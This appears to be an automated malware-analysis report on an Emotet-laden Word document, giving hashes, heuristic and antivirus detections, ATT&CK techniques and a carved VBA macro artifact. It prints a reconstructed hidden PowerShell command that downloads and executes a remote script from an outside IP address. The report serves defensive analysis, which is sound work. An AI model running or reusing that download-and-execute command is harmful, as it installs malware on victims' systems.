Emotet Office (OLE) / .DOCX malware analysis — malicious · a7a9ba166406bf42

MALICIOUS

Office (OLE) / .DOCX

167.1 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word

MD5: 9823353928cb2468c83ebf79016944b3 SHA-1: e4bd636065376bd88a9937b31993158b61dfa94d SHA-256: a7a9ba166406bf42b11025e3c7e259c3866c29146ffd296dcbedbff60d3f09a6

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, strongly indicate malicious intent. The embedded VBA macro, named macros.bas, likely executes a PowerShell command to download and run a second-stage payload from the reconstructed URL 'http://185.100.127.130/a.ps1'. This is further supported by the reconstructed PowerShell command: 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.100.127.130/a.ps1')"'. The Emotet family is a common deliverer of such payloads.

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25223 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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